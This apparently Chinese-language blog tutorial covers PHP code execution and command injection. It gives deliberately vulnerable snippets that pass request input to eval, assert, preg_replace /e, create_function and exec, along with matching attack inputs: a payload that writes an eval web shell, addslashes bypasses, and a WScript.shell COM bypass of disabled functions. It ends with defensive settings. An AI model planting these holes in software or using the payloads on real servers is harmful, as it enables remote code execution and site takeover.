php %3cpre%3c pre%3e,PHP代码执行与命令注入
1. php 代码执行
eval
# 1. 没有任何过滤
@eval($_GET["cmd"]);
?>
visit: ?cmd=phpinfo();
?cmd=fputs(fopen('test.php','w'),'<?php @eval($_POST[test])?>')
# 2. addslashes 过滤
$cmd = @(string)$_GET["cmd"];
eval('$cmd="' . addslashes($cmd) . '";');
?>
# ${${}} 绕过
cmd=${${phpinfo()}}
# 3 引号包含过滤
$cmd = "echo \"hello " . $_GET['cmd'] . "\";";
eval($cmd);
# ${${}} 绕过
cmd=${${phpinfo()}}assert()
@assert($_GET["cmd"]);
?>
cmd=phpinfo();preg_replace + '/e'
# 1. parameter 1
# magic_quotes_gpc=Off时,导致代码执行。
$regexp = $_GET['reg'];
$var = 'phpinfo()';
preg_replace("/(.*?)$regexp", '\\1', $var);
?>
reg=%3C\/php%3E/e, 执行 phpinfo.
# 2. parameter 2
# 当replacement 参数构成一个合理的php 代码字符串的时候
# /e 修正符使preg_replace(),将replacement 参数当做php 代码执行
preg_replace("//e", $_GET['cmd'], "cmd test");
?>
cmd=phpinfo();
# 3. parameter 3
preg_replace("/\s*\[php\](.+?)\[\/php\]\s*/ies", "\\1", $_GET['h']);
?>
h=[php]phpinfo()[/php]call_user_func
call_user_func_array
create_function
$cmd = $_GET['cmd'];
$func = create_function('$arg1, $arg2', $cmd);
$func(1, 2);
?>
cmd=phpinfo();array_map
$evil_callback = $_GET['callback'];
$some_array = array(0, 1, 2, 3);
$new_array = array_map($evil_callback, $some_array);
?>
callback=phpinfo
2. php 执行系统命令
php能够执行系统命令的函数有:
assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,`(反单引号)
shell_exec()
string shell_exec ( string $cmd )
命令执行的输出。 如果执行过程中发生错误或者进程不产生输出,则返回 NULL。
system()
string system ( string $command [, int &$return_var ])
成功则返回命令输出的结果, 失败则返回 FALSE
exec()
string exec( string $command [, array &$output [, int &$return_var ])
返回命令执行结果的最后一行内容
$cmd = $_GET["cmd"];
$output = array();
echo "
";
exec($cmd,$output);
echo "
";
while(list($key,$value)=each($output))
{
echo $value."
";
}
?>
cmd=ifconfigpassthru
void passthru ( string $command [, int &$return_var ] )
直接将结果输出到游览器,不返回任何值
popen()
proc_open()
`(反撇号) 与 shell_exec 功能相同
$ php -r 'echo `ls -l`;'
2.1. 防御
php.ini
safe_mode = On #safe mode
safe_mode_exec_dir = /usr/local/php/bin/ #limit path
disable_functions="eval,phpinfo"使用escapeshellcmd()和escapeshellarg()函数阻止用户恶意在系统上执行命令
escapeshellcmd()针对的是执行的系统命令
escapeshellarg()针对的是执行系
2.2. 绕过
windows 组件绕过
# 防御:直接删除system32下的wshom.ocx文件
$command = $_POST[a];
$wsh = new COM('WScript.shell'); //生成一个COM对象
$exec = $wsh->exec('cmd.exe /c '.$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput
?>
3. 防御
1、尽量不要执行外部命令
2、使用自定义函数或函数库来替代外部命令的功能
3、使用escapeshellarg函数来处理命令参数
4、使用safe_mode_exec_dir指定可执行文件的路径
esacpeshellarg函数会将任何引起参数或命令结束的字符转义,单引号“’”,替换成“\’”,双引号“"”,替换成“\"”,分号“;”替换成“\;”
用safe_mode_exec_dir指定可执行文件的路径,可以把会使用的命令提前放入此路径内
safe_mode = On
safe_mode_exec_dir = /usr/local/php/bin/
php %3cpre%3c pre%3e,PHP代码执行与命令注入相关推荐
- 代码执行与命令执行的区别
代码执行与命令执行的区别 代码执行本质上是调用后端语言(PHP,JAVA--)来执行特定代码,而命令执行本质是调用系统的命令执行的接口,与对于的不同的语言无关,只与系统的版本有关. 代码执行相关函数 ...
- Java代码执行Linux命令
说明:项目必须是部署在Linux服务器中才能生效. 1. 工具类 @Controller public class ExecuteNewFlowUtil {/*** 运行Linux命令* @autho ...
- java 代码执行linux命令
远程执行linux命令代码 代码不是在服务器部署时,但是需要执行这个服务器的linux命令 maven库 <!-- https://mvnrepository.com/artifact/ch.e ...
- java代码执行linux命令_java执行Linux命令的方法
本文实例讲述了java执行Linux命令的方法.分享给大家供大家参考.具体实现方法如下: public class StreamGobbler extends Thread { InputStream ...
- Linux中更新java代码命令,java代码执行linux命令
1.容器需要先执行source命令,有权限限制的需要先打通互信. 2.复杂的shell命令,如重定向,需要传入数组. public void excuteLinuxCmd(String cmd) { ...
- “鑫胖”家的红星3.0系统被曝漏洞,可远程执行任意命令注入
作为一个自主知识产权发展强国,朝鲜以极为高冷的姿态发展着电子科技行业,还有他们自己的操作系统.这款著名的RedStar OS 3.0名字虽然霸气,但安全性据说实在不怎么样.近日,黑客团队Hacker ...
- %3c php $str1=,ThinkPHP5.0.215.1.* 代码执行和命令执行漏洞利用
5.0.21 ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&v ...
- java代码执行linux命令_怎么用java代码运行linux命令
展开全部 以下方法支持Linux和windows两个系统的命令行调用.还用到了apache的lang工具包32313133353236313431303231363533e78988e69d83313 ...
- Android 通过代码执行shell命令获取电量百分比
shell 执行 adb shell dumpsys battery 命令,得到如下信息: 获取shell命令的返回值内容(以下 new ExeCommand().run("dumpsys ...
最新文章
- 纬度和日照时长的关系
- c3p0获取连接Connection后的Close()---释疑
- 恢复Win10照片查看器
- 红帽产品及技术总裁:未来IT趋势预测
- 2022年轻人潮流爱好报告:被朋友圈高赞的神秘爱好,不烧钱还能脱单
- RESTful 风格 API 接口文档模板
- 那些编程中遇到的常见英文缩写
- 利用NMDS对药物处理下肠道菌群微生物群落多态性分析
- c语言程序设计ppt算法,C语言程序设计算法.ppt
- 马云的教、马云的会、马云的墓
- 群晖 NAS DSM 系统,只要三步使用 Docker 安装迅雷远程下载
- 操作系统与网络实现 之二十三(丙)
- 2023年天津农学院专升本专业课报名缴费时间考试安排
- 架构之占位式插件化框架 --组件通信
- PON、EPON、GPON的区别
- php输出1到100的质数,怎么用PHP写出1到100的质数
- Cadence 计算器使用——settling time
- C++基础---空类型
- 01postman学习笔记记录
- 提高生产效率的几款工具
热门文章
- 【英语学习】【English L06】U04 Adventure L3 The city playground and some famous museums
- react中form可以嵌套一个form吗_Ant-Design从v3升级到v4的Form适配
- 理想化的 Redis 集群
- zend studio mysql 配置_php 在Zend Framework中配置数据库参数
- Object C语法快速入门
- Spark 中 File,Block,Split,Task,Partition,RDD概念的理解
- Redux技术架构简介
- 有关上次的字符串是否相等的比较
- 为什么网络安全领域需要更多的女性?
- HDU1048 The Hardest Problem Ever